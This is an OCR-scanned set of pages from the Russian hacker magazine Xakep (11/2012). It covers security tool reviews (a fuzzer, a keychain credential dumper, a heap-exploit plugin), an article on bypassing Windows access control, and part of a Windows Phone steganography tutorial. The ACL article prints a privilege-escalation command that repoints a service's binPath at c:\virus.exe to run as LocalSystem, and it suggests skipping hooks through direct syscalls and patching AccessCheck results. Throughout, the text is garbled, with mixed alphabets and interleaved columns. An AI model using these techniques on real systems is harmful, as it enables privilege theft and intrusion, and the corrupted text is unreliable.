нарного файла. и nроверяетnриложение n о черномусnиску

ХАКЕР 1 1 /166/ 2012


7 утилит для исследования безоnасности

Автор:
OUSPG
TEST CASE ГЕНЕРАТОР
URL: Radamsa - генератор тестов для тесты. Radasma ничего не знает
c.od�· nроверки надежности ПО с nо­ об устройстве формата файлов
�1111 мощью фаззинга. Любой фаззер на входе и лишь, анализируя их,
Система:
Linux/850/Mac должен состоять как минимум из строит nредnоложения, на основе
трех частей: которых делает те или иные nре­
11 генератора тестов; образования. При зтом сгенери­
21 заnускающей части; рованные тесты nрограмма может
31 монитора nадений. как выдавать в стандартный вы­
вод и л и файлы, так и отnравлять
Radamsa как раз и берет на себя на определенный ip:port. Так, для
решение nервого этаnа. От этого сетевого фаззинга можно заnисать
этаnа зав исит, насколько каче­ трафик с nомощью tcpflow и nодать
ственно/nолно nройдеттестирова­ его на вход Radasma. С помощью
ние приложений и, соответствен­ данного nроекта были найдены
но, будет найдено ошибок. уязвимости в таких nрограммах,
На вход Radamsa получает как libxslt, Acrobat Reader, Mozilla
легитимные файлы, а на выходе Firefox, Chrome, FFmpeg, Microsoft
выдает измененные, nотенциально Excel, liЬtiff. Webkit, Gzip и многих
nриводящие к nадению nрограммы других.

Автор:
1•1 Searching process Автор: Автор:

Searching process
Steven Seeley
1•1
Lavakumar Kuppan Juuso Salonen

-
URL: URL:
Searching process
URL:
l(0[1Wi)ш.ш:g 1•1 https·llgtthub сот/ Ыtps·Ug!thubcoml
Система: 1•1 Searching process jyu$plkeycbatndurnp mrmee/heaoer
Windows 1•1 Searching process Система: Система:
Мае O S X
1•1 Searching process
Windows

1•1 Found 9 master ke


1•1 Trying to decrypt
1•1 Trying мaster key

--- ' 1+1


1+1
Found master key:
Found wrapping ke 5 6
ADVANCED SECURITY УдО БСТВО В РАЗРЕЗ
TESTING PLATFORM с·SЕЗОПАС НОСТЬЮ Разработка полнофункционального эксплойта,
lronWA5P - платформа для тестирования В 05 Х существует специальное защищен­ исnользующего nереполнение в куче, чрезвы­
безоnасности веб-приложений. Инструмент ное/зашифрованное хранилище для кон­ чайно сложная задача, которая, естественно,
был вnервые представлен на конферен- фиденциальных данных nользователей nод зависит от множества факторов.
ции 5ecuritybyte 2011 в Индии. Платформа названием keychain. В нем могут храниться: Чтобы облегчить и ускорить процесс, для
имеет nриятный GUI-интерфейс, не требует логин:nароль от аккаунтов почтового кли­ отладчика lmmunity Debuggeг был написан
установки, распространяется с открытым ента, а к каунтов в браузере и для доступа плагин heaper. Функционал плагина достаточ­
исходным кодом и полностью наnисана на С#. к Wi- Fi-ceтям, пин-коды, номера кредитных но широк:
Данный инструмент призван оnтимизиро вать карт и так далее. • разбор РЕВ и ТЕВ;
исnользование ручного и автоматического Комnания Apple пошла на комnромисс • сбор указателей на функции;
тестирования пентестером. Особенности между безоnасностью и юзабилити, а в резуль­ • сбор calls/jmps, которые используют пере­
nлатформы: тате nользователь root может читать keychain­ записываемые и статические указатели;
• менеджер сканирова н и й; ceкpeты всех залогиненных пользователей анализ кучи, структуры фронтенда кучи,
• встро е н н ы й crawler; в системе !если они не включили опцию locked структуры бзкенда кучи, сегментов кучи,
• ргоху; для keychainl. Таким образом, nрограмма чанков кучи, кеша кучи;
• автоматическое и полуавтоматическое не эксплуатирует никакой уязвимости в без­ • анализ/nатчинг FreelistlnUse структуры;
сканирование; опасности 05 Х, а работает так, как и задумы­ • перехватразличных функций;
• ручное тестирование приложений; валось разработчиками ОС. Данный инстру­ изменение функций или структур данных;
• и нтегрирова н н о е с к р и nтовое о к ружение мент nоказывает и реализует возможности • эвристическое определение возможности
на Pythoп/Ruby; nостэксnлуатации в данной ОС. эксnлуатации уязвимости.
• движок статического анализа Java5cript; Данная техника отличается скоростью
• поддержка плагинов на Ruby и Python. и работоспособностью на всех версиях 05 Х, О возможностях каждой команды nлагина
и не требует никаких постоянных изменений можно без nроблем узнать, введя в команд­
Результаты можно легко импо ртировать в в атакуемой системе. Смысл атаки заклю­ ной строке:
J50N, XML, Java сериализованные объекты. чается в поиске мастер-ключа от keychain в
При этом разработчик nредусмотрительно nамяти процесса securityd по определенному ! heaper help <command>
учел такие вещи, как поля логинов, С5RF­ nаттерну. Получаем около 20 вариантов, их
токены, кап чу, многоэтапные формы ввода, нетрудно nеребрать и найти wrappiпg ключ, с В текущей версии hеарег nоддерживает
так что никаких nроблем при их обработке у помощью которого уже можно nолучить достуn менеджер кучи WinXP, н о в ближайшее время
проекта не возникн ет. к учетным данным. будет поддержка и Windows 7/8.

ХАКЕР 1 1 /166/ 2012 095


MALWARE Александр Эккерт lstannic.manfagmail.coml

КОВЬ I РЯ ЕМ
БРОН Ю WI N DOWS
С егодня мы пого в о р и м о том, что несет в се б е
ВЫЯСНЯЕМ, ЧТО с и стема контро л я доступа в ОС Windows. О го­

ТАКОЕ ACL/DACL вор ю сь сразу, что да н н ы й вопрос н е м ножко


необычен дл я и зучен ия, - вроде б ы и звестно,
И КАК ЭТО МОЖНО о чем реч ь, однако на поверку вы ходит, что
н а п и с а н о п р о нее довол ьно мало. Впрочем , д л я
ЗАЭКСПЛОИТИТЬ нас это н е п р е г рада - попро буем рассмотреть
доспехи Win dows и зн утр и и порассуждать о
возможн ы х способа х их о б хода.

l:lфiU:IЩ!il
Если присмотреться внимательнее, то ничего сверхсложного в си­
стеме контроля доступа ОС Windows нет. Как и в других операци­
онных системах, главное, что нужно усвоить, - это кто и что может
делать в операционной системе.
Система разграничения п р а в пользователей хорошо известна
любителям 'nix-like систем, тогда как в ОС Windows она довольно
прозрачна !см. рисунок 11 и поэтому не столь заметна для обычного
пользователя, исключая грамотных сисадминов, которые напря­
мую с этим связаны.
Поэтому для обеспечения контроля за операциями над неким
абстрактным объектом в системе Windows должна быть уверена
в правильнести идентификации каждого пользователя. Имен­
но по этой причине Windows требует от пользователя входа с
аутентификацией прежде, чем ему будет позволено обращаться
к системным ресурсам.
В целом система проверки прав доступа выглядит так: процесс
запрашивает описатель объекта (об этом подробнее ниже!, а уж по­
том диспетчер объектов и система защиты решают, можно ли этому
процессу предоставить описатель, разрешающий доступ к объекту.
Модель контроля доступа в ОС Windows требует, чтобы
процесс заранее - еще до открытия абстрактного объекта ­
указывал, какие операции о н собирается выполнять над этим
объектом. Ну типа, представь, Великая Отечественная, в хату
Вся информация вежливо стучатся фашисты с автоматами и говорят: «Это мы,
предоставлена бабка, фашисты, мы хотим отобрать у тебья хлеб, яйки, сметана и
исключительно
в ознакомительных спросить, где партизан ы>>.
целях. В свою очередь, система («бабка>>! проверяет тип доступа, за­
Ни редакция,
ни автор не несут
прошенный процессом, и, если такой доступ разрешен, процесс
оtветственности получит описатель, который позволит ему (фашистам! выполнить
эа любой возможный операции над объектом.
вред, nричиненный
материалами данной
Таким аlагm-событием для системы, к примеру, являет­
статьи. ся открытие объекта по его имени вызовом kегпеl-функции

096 ХАКЕР 1 1 /166/2012


Ковыряем броню Windows

• Perm1ssюns for W1relcss Zcro Conf1guratюn (!)�

�------,
S=..ity

Jaroup 01 user nanes:

· \Power Users)

AQd flemo А

Permissions 101 Administrм01s Deny

Delete S ervice
R � Control
Set Permissions
Т ake Ownership
Special Permissions
Рис. 2. Намболее интересные nonя маркера достуnа

F01 special permissions 01 f01 �IIПCed settings. записи и груnnы, соnоставленные с nроцессом или nотоком.
click Adv�ed. Механизм защиты Windows использует два элемента маркера,
определяя. какие элементы достуnны и какие оnерации можно
�pply выnолнить.
Первый элемент- это 510 учетной заnиси nользователя и
5 1 0 груnп, к которым этот nользователь nринадлежит. Данный
Рмс.1. Хорошо знакомая смсадминам картинка
элемент исnользуется для определения, можно ли предоставить
заnрошенный тиn достуnа к защищаемому объекту, наnример
nt!ObOpenObjectByName. При вызове этой функции дисnетчер чтению файла.
объектов ищет его в своем пространстве имен. Не будем опи­ Второй элемент- это сnисок привилегий, соnоставленных
сывать сейчас то, что п р оисходит при этом процессе, - долго, с маркером. Он исnользуется для оnределения того, что может
муторно и непонятно. делать nоток. Наnример, nрограмм но выключать оnерационную
Все в итоге сводится к тому, что система вызывает «дья- систему. Маркер достуnа оnисан структурой TOKEN !см. рисун­
вола». Хотя нет, вру, на самом деле следует вызов функций ки 2-41. Остальные nоля маркера исnользуются лишь для инфор­
nt!ObCheckObjectAccess _, nt!5eAccessCheck !функция AccessCheck мационных нужд.
для пользовательского режима!. Эта функция, наверное, является
одной из ключевых для всей модели защиты ОС Windows !впрочем, КО ПНЕМ ПОГЛУБЖЕ
как и другие 5е'-функции1. Она принимает параметры защиты объ­ Ну и nоследний важный элемент защиты - это дескриnтор защиты
екта, идентификационные данные защиты про цесс а и запрашива­ объекта. Если ты знаешь, на уровне ядра ОС Windows оnери рует та­
емый тиn достуnа и в зависимости от результата <<рассмотрения>> ким nонятием, как объект lв отл ичие от н иксов, где все - <<файмl.
вернет TRUE или FAL5E. То есть объектом будет являться файл, nроцесс, nоток, примитивы
Но это так, самое общее и nриблизительное оnисание лишь синхронизации, АРС, DPC, nрерывание и так далее.
основного момента защиты. Н а самом деле nроцесс nроверки до­ У каждого такого объекта есть свой оnисатель. который по сути
стуnа, nрав и nривилегий очень сложен. своей является самостоятельной структурой. Но это не главное ­
укаждого из объектов есть заголовок, всегда оnисываемый одной
ЭЛЕМЕН ТЫ БРОНИ и той же структурой OBJECT_HEADER. Вот она-то нас и интересует.
К основным элементам модели достуnа Windows можно отнести
идентификаторы защиты - 510 и маркеры достуnа !так называе­
мые токеныl.
510- это идентификатор защиты, который Windows nрисва­
ивает nользователям системы, локальным и доменным груnnам, МАРКЕРЫ ДОСТУПА - ЭТО
локальным комnьютерам, доменам и членам доменов. 510 - зто
числовое значение переменной длины. которое ты наверняка не ОСНОВНОЙ ЭЛ ЕМ Е НТ ЗАЩИТЫ
раз встречал, выглядит оно nримерно так: 5-1-5-21-12345678910-
12345678910 -12345678910-1228. WI N DOWS. О Н О П И С Ы ВАЕТ
Например, 5-1-1-0 означает групnу, объединяющую всех поль­
зователей. Груnпа 5-1-2-0 объединяет пользователей, которые ре­ КОНТЕКСТ ЗАЩИТЫ П РО ЦЕССА
гис1рируются на терминалах, физически nодключенных к системе.
Маркеры достуnа, наверное, основной элемент защиты (ПОТОКА) И ПРИ ВИЛЕ Г И И
Windows. Он оnисывает контекст защиты nроцесса !nотока! и со­
держит в себе информацию, оnисывающую nривилегии, учетные ДОСТУПА ДЛЯ Н ЕГО

ХАКЕР 11 /166/ 2012 097


MALWARE

kd> 1 process 380 1


1 process 380 1
lkd> dt _OBJECT_HEADER BBdOcOOB
Search1ng for Process w1th C1d •• 380 +ОхООО Po1nterCount 36
PROCESS ff8027a0 Sess1onld: О C1d: 0380 РеЬ: 7ffdf000 +Ох004 HandleCount
ParentC1d: 0124 D1rBase: 06433000 ОЬjесtТаЫе: ff7e0b68
TaЫeS1ze: 23.
+Ох004 NextToFree Ох00000001
I•age: c•d. ехе +Ох008 Туре Ox8a0ed388
VadRoot 84с30568 Clone О Pr1vate 77. Mod1f1ed о. Locked О. о

01(
�--
+ОхООс NameinfoOffset
Dev1ceMap 818а3368
Token е22Ьс730 ..
+OxOOd HandleinfoOffset о
ElapsedТ1•e 14: 22: 56. 0536 +ОхООе QuotainfoOffset о
+OxOOf Flags Ох20
Рис. 3. С мспольэованмем WinDBG можно найти адрес маркера доступа для
процесса CMD.EXE... +Ох010 ObjectCreateinfo Ох89е596а0
+Ох010 QuotaBlockCharged : Ох89е596а0
kd> l token в22Ьс730 +Ох0 1 4 Secur1tyDescr1ptor : Охв242Ь864
_TOKEN е22Ьс730 +Ох0 1 8 Body : _QUAD
TS Sess1on ID: О
Use r : S-1-5-21-1 787744166-3910675260-2727264193-500 Рис. 5. Вот rде собака nорылась!
Groups:
00 S-1-5-21-1767744166-3910675280-2727264193-513
Идем далее. Хочу отметить, что серьезную брешь в безоnас­
Attr1butes - Mandatory Dвfault EnaЬled
ности образует стороннее nрограммное обесnечение, особенно
01 S - 1 - 1 - 0 те nрограммы, которые регистрируют себя в качестве Windows­
Att r1butes - Handatory Default EnaЬled cepвиca. И все зто оnять-таки из-за особого отношения ОС Windows
к такого тиnа nрограм мам - многие разработчики ПО оставляют
Рис.'· ...м проснатреть детали маркера -какими nравамм он наделен локальной груnпе Everyone возможность конфигурировать созда­
ваемый сервис вышеуказанным сnособом.
Особо треnетного отношения к себе требуют те доверенные
Потому что именно в ней содержится указатель на дескриnтор за­ nрограммы, которые nытаются изменить характеристики какого-то
щиты объекта, в котором заключена информация о том, кто и что файла nри nомощи вызова advapi32!SetFileSecurity !хотя и устарев­
может делать с данным объектом. шей) с маской достуnа WRITE_DAC.
Главное, что нужно уяснить, - дескриnтор защиты хранит сnи­ Необходимо также уnомянуть о такой nолусекретной технике,
ски уnравления избирательным доступом IDACL). Они конкретно как обращение к системным вызовам напрямую через системные
расnисывают, кто может nолучить достуn к объекту и какой именно шлюзы INТ2e/SYSENTER. Я уже ка к-то оnисывал ее в одном из
достуn может быть nредоставлен. АСL.:ы состоят из заголовка nрошлых номеров )[. Ее суть состоит в nрямом вызове nрерывания
и nеречисляемых злементов АСЕ. Каждый АСЕ содержит 510 и ма­ с nередачей в стек оnределенных nараметров - в результате мы,
ску достуnа, nричем АСЕ могут быть четырех тиnов: <<доступ разре­ во-nервых, nолучаем обход любых юзермодных хуков систем-
шен», <<достуn отклонен>>, <<разрешенный объект>> и «запрещенный ных функций, а во-вторых, для вызова оnасных функций, тиnа
объект>>. Разница между тиnами «достуn разреше н>> и <<разрешен­ NtloadOriver, нам совсем не требуется nовышения nрав. В nримере
ный объект>> только в том, что последний тиn исnользуется лишь с тем же NtloadOriver, скажем, система nосмотрит на наши nрава
в Active Oirectory. и nотребует установки nривилегии Se_Load_Driver_Pгivilege вы­
зовом AdjustPrivilegell, что не есть гуд. Однако в этот же самый
И ЧТО ТЕ П ЕРЬ СО В С Е М ЭТИМ ДЕЛАТЬ? момент мы совершенно сnокойно можем наnрямую обратиться
Главное, что, во-первых, достуn к объектам системы можно моди­ к системному шлюзу I N T2e/SYSENTER.
фицировать. Каким образом - ищи код на диске. Он небольшой Ну и в заключение стоит упомя нуть, что никто не мешает
и в целом должен быть тебе nонятен. скомпрометировать сам ход выnолнения функций nроверки
Во-вторых, можно получать достуn к защищенным объектам, достуnа и привилегий, таких как AccessCheck, PrivilegeCheck,
исnользуя огрехи самой системы. Ибо, как я уже говорил, контроль AreAnyAccessesGranted и некоторых других, верно? Чуть nодnра­
достуnа в Windows - вещь сложная, а чем сложнее система, тем вим возвращаемые результаты, и будет нам счастье :).
больше вероятность nоявления в ней уязвимостей.
В середине 2000-х на багтреках nромелькнуло несколько
малозаметных сообщений о найденных багах в Windows ХР,
•мt+Щ•Qiili!i ii
И про старуху бывает nорнуха, как сказал кто-то из великих.
связанных с возможностью <<неса нкционированного>> nоднятия Несмотря на то что с выходом семерки nоложение дел с nравами
nривилегий от Local Seгvice до Local System. Суть уязвимости и nривилегиями значительно улучшилось, в защитном механизме
заключалась в том, что службам Windows SSDP и u P n P, действу­ Windows все еще можно отыскать лазейки, которые могут nоста­
ющим с nрава ми Local Service, можно было изменять nараметры вить на колени эту ОС.
любого сервиса в системе, nосле чего, используя стандартные В статье не рассмотрены такие nонятия, как учетные заnиси и ло­
nри вилегии заnуска/останова службы !всnомни про запуск кальные аккаунты, и поверь мне, там тоже не все так чисто, как хо­
сервиса из командной строки - sc start/ sc stopl, остановить ее и телось бы Microsoft. Но зто уж оставим тебе в качестве домашнего
nерезаnустить с nараметрами config, указав в параметре ЬinPath задания. Удачного комnилирования и да nребудет с тобой Сила! :Х:
nуть к ехе для старта:

CMD>sc config stupidService ЬinPath= c : \virus . ехе obj= \ - -


" . \LocalSystem" password=" "
Об основах Windows Access Control можно Код, демонстрирующий
CMD>sc stop stupidService прочитать эдесь - � а также в неnпохих смену DACL дnя фaiina/
CMD>sc start stupidService статьях на тему: bjt ly/NMQkoy м bjt,lvLYxYwtA. nаnки, ждеттебя на диске.

098 ХАКЕР 1 1 /166/2012


Preview
КОДИНГ

ПИШЕМ ИГРЫ НА КОЛЕНКЕ


100 Продолжаем разговор об инди­
играх. С продажей и публикацией
разобрались, теперь нужно не за­
быть о самом главном - о создании
самой игры. В центре внимания ­
популярный движок и среда раз­
работки Unity.,
Почему именно Unity? Во-первых,
поддержка nочти всех существую­
щих платформ, включая мобильные
ОС и консоли. Во-вторых, наличие
бесnлатной версии. В-треть и х ­
поnулярность, благодаря чему
движок активно разви вается,
хорошо документирован и имеет
хорошее комьюнити. Что еще нужно,
спраш ивается?

КОДИНГ АКАДЕМИЯ UNIXOID

,( �с- )l• I:N owntr

-J" T

СТЕГАНОГРАФ ДЛЯWINDОWSРНОNЕ УРОКМ.5: БАЭЫДАННЫХ ХРАБРЫЙ ПОРТНОЙ
105 Для нового урока по разработке для 112 Наш зпичнейший учебник по высоким Патчсеты для ядра Linux nозволяютзначи­
Windows Phone была выбрана необычная нагрузкам почти nодошел к концу. тельно изменить nоведение «nингви-
задача. В этой статье мы рассмотрим В nредnоследнем уроке nоговорим о на)) -повысить nроизводительность или
создание приложения, котороепозволит том, как решать nроблемы, связанные безоnасность, расширитьфункционал. Но
скрыватьтекст в изображениях. с хранением данных. как выбрать нужный набор?

UNIXOID SYN/ACK

.;.:.r·��' •

11 11
В КЛЕТКЕ ПУТЕВОДИТЕЛЬ ПО ВИРТУАЛЬНЫМ ПОСТАНОВКА НА КОНТРОЛЬ
Изучаем новую систему виртуализации МИРАМ Тотальный аудит- залог безоnасности
Linux Containers, сделанную по мотивам Осень nринесла множество новинок сети. Представляем рассказ о соответ­
знаменитых�<тюрем)) FreeBSD. Сталоли в мире виртуал изации от Microsoft, ствующих инструментах в различных
лучше за новой решеткой? VMware и C1trix. Рассмотрим самое вepcияx Windows.
интересное.

ХАКЕР 1 1 /166/2012 099


Nam�
Oesaiptive Nam�
Oesaiptive Neoative Namc
Neoative Buttcn left
PcsitiYe Button rioht
Alt N�oative Buttcn
Alt PositiYe Button
Gravity
Oead 0.001
Sensitivity 3
Snap
lnv�rt о
Тур� Кеу or Mouse Button
Axis Х axit
Jcy Num Get Motion from all Joystidcs
• vertical

• Moute У
• Mouse ScroiiWheel
• Window Sh1ke Х
81> Window Sh•ke У
КОДИНГ Юрий ««yurembo�� Яэев, ведущий nрограммист компании GenomeGames (www.pgenom.rul

СТЕГАНОГРАФ
дл я Wi ndows Phone
ПИ Ш Е М ПРО ГУ ДЛЯ СОКРЫТИЯ
ИНФ ОРМАЦИ И В Ф ОТ КАХ ТВО ЕГ О
ВИ НДОВО Г О СМАРТФ ОНА
Го в оря т, что те п ерь п р и въе зде в США т ебя мо гут п о п росить показать н о ­
ут бук и, есл и т а м обнаружитс я ш ифродис к, тебе п р идется в в ести паро л ь .
П р авда это или нет - н е важно , главн ое - общий пос ыл. Бо л ь ш о й брат
ста н о вит ся в се бо л ее л ю бо пытным, и значи мость с т е га н о графи и воз­
раста ет с ка ж д ы м годо м . А ч то может б ыть наде жнее, че м сделать
с в ой моби л ь н ы й , н е серт и ф и ц и р о в а н н ы й ФСТЭК и н е одобрен н ы й
то варище м п ол к о в н и к ом сте гано граф?
КОДИНГ

ПРОЕКТИРОВАНИЕ всnышки, разрешения итоговой картинки, а также включить или


Поскольку наша nро га обещает быть несколько сложнее, чем выключить автофокус. Кроме того, он nредставляет удобные
«Hello woгld», давай оnределимся, что нам nредстоит сделать, события, в которые nередаются данные отснятой фотографии и/
иными словами - сnроектируем nриложение: или ее эскиза. Для реализации фотосъемки восnользуемся этим
Восnользуемся воображением, nостроим интерфейс, а также об­ классом.
судим nредnолагаемые проблемы и попытаемся найти их решения.
Пользовательский интерфейс я представляю себе следующим LET ТНЕ ВАТТLЕ BEGIN!
образо м: пр ил ож ение состоит из двух страниц: на перво� началь­ Начнем с чистого листа. Открой YS 2010, создай новый nроект,
ной странице расположено текстовое поле для ввода скрываемого в качестве заготовки выбери Windows Phone Application. По nро­
сообщения, миниатюра итоговой фотографии lизначально nуста!. екту на nервой странице расnолагаются злементы уnравления,
список файлов - изображений, находящихся в хранилище. На а именно объекты классов: TextBox, lmage, ListBox и Button, без
второй расnоложена область фотозахвата. Чтобы не мудрить с на­ учета надnиси-заголовка [рис. 11. Чтобы добавить текстовому nолю
стройками, все параметры съемки установим в исходном коде, для возможность расnространения текста на несколько строк, измени
расширения функцион�льности можешь добавить третью страницу следующие свойства: AcceptRetuгn nоставь в Тгuе, TextWгa ppin g ­
с настройками. в значение Wгар.
Итак, перепробовавдля реализации интерфейса несколь- Кноnка «Сделать фото•• будет служить для активации стра­
ко различных способов, в том числе с помощью компонентов ницы фотозахват а. Но сначала эту страницу надо создать. Для
Рапогаmа и Pivot, я остался ими недоволен. В данном конкретном вызова диалога выбора тиnа создаваемого элемента щелкни на
приложении интерфейс лучше сделать двумя обособленными nиктограмме <<Add New ltem>>. Так как n р и расnоложении камеры
страницами. горизонтально область обзора расширяется, в таком nоложении
Создание фото возложим на аnпаратную кноn ку. Сразу nосле фотографировать удобнее, nоэтому в nоявившемся диалоге выбери
захвата и получения фото будем скрывать в изображении текст. <<Windows Phone Landscape Page>>, введи название [PhotoCaptuгel
Я решил восnользоваться стеганографическим методом скрытия и щелчком п о кноnке <<Add•• заверши диалог.
сообщения в шумах изображения. В отличие от более распростра­ Далее активируй редактор ХАМL-кода. Удал и содержимое теку­
ненного метода наименьшего значащего бита, который, что понято щей страницы [между тегами Gridl и вбей туда следующий код:
из названия, записывает сообщение в наименьшие биты nикселов
изображения, зтот способ менее nодвержен nотере скрытых дан­ <Canvas x : Name= "Caпvas" Width= "700" \
ных в результате комnрессии изображения, исnользуемой различ­ Horizontalдlignmeпt="Center" Margin="14, 1 2 " >
ными графическими форматами. Когда фото со скрытым сообщени­ <Canvas . Background>
ем будет готово, его надо сохранить в изолированное хранилище. <VideoBrush x : Name="PhotoViewer" />
Еще надо добавить возможность восстановить сообщение из </Canvas. Background>
фотографии. Этот nроцесс будет заnускаться nри выборе файла из <toolki t : GestureService. Gesturelistener>
сnиска. Извлеченный текст будет отображаться в текстовом nоле, а <toolkit : Gesturelistener DragCompleted=
само изображение - в nредназначенной для этого области. Кроме "OnDragCompleted" />
того, хорошей идеей будет добавление возможности отnравки </toolkit : GestureService. Gesturelistener>
фотографии. </Canvas>

Здесь мы nервым делом создаем канву, устанавливая для нее


Создать фотоснимок в Windows Phone можно п о меньшей мере желаемые размеры, расnоложение и отстуnы. Затем, восnользо­
двумя сnособами. Первый - зто восnользоваться классом вавшись свойством Backgгound, для ее закраски создаем объект
CameгaCaptuгeTask, являющимся так называемым «выбирателем» YideoBrush [рис. 21.
[Chooseгl. В случае его вызова из своего nриложения для создания Он будет выводить на канву данные из видеоnотока.
снимка nредоставляются стандартные средства Windows Phone. Следующим тегом начинается область оnределения событий на
После nолучения фото оно возвращается вызвавшему nрило­ жесты, реакцию на которые мы хотим nолучить в nриложен ии. У
жению. При зто м у нас nочти нет возможностей обработки фото нас есть только одно желаемое событие, возникающее в конце
[можем его разве что сохранить!. Кстати, на моем смартфоне класс nеретаскивания [в нашем случае nросто nри nроведении nальцем
CameгaCaptuгeTask совсем не работает. по экрану!. События этой груnnы находятся в nространстве
Второй сnособ намного интереснее. Класс PhotoCameгa имен toolkit, которое устанавливается вместе с Windows Phone
nредоставляет nолный набор средств для уnравления встроен­ Tool kit lsi lyeгlight.codeplex.com/гeleases/yjew/758881. Чтобы
ной в смартфон камерой. С его nомощью можно настроить режим nодключить эту либу, добавь ссылку на сборку M i cгosoft.Phone.

Рис. 1 . Начальная страница nрмnоженмя Рис. 2. Фотозахват

106 ХАКЕР 1 1 /166/2012


Стега нограф для Windows Ph o n e

Controls.Toolkit.dll, по умолчанию находящуюся в каталоге с:\ действием вывод камеры привязываем к объекту VideoBrush для
Program Files (x86I\Microsoft SDKs\Windows Phone\v7.1\Toolkit\ закраски канвы данными видеопотока. После этого регистрируем
Dct1 1\Bin\. После этого в начало ХАМL-файла добавь nодключение событие, возникающее при инициализации камеры. В его обра­
этой сбор к и: xmlns:tool kit:''cl r-namespace: М icrosoft. Phone. ботчике можно, наnример, вывести отладоч ные данные, на nервых
Со ntrols;a ssemЬiy: Microsoft. Phone .Controls.Tool kit " . В результате этаnах разработки очень нужное дело.
обработки данного события мы вернемся на nредыдущую Во втором добавленном обработчике должна nрои сходить де­
страницу с элементами уnравления. Получается логично: инициализация объектов !пока только камеры!:
nользователь nроводит nальцем по экрану, как бы nерелистывая
страни цу, и nриложение изменяет ее. Но для этого нам надо if (myCam ! : null)
наnисать обработчик. В С#-код текущей страницы добавь такую myCam. Dispose ( ) ;
функцию: myCam. Initialized myCam_Initialized;

private void OnDragCompleted(object sender, \

this . NavigationSer�ice. Navigate(new Uri( "/MainPage .


DragCompletedGestureEventArgs е ) { Если камера еще не удалена (если все идет no nлану, то так и
должно быть!, тогда надо удалить ее, а также отменить инициали­
xaml" , UriKind. Relative ) ) ; зацию события. В обработчике события инициализации камеры,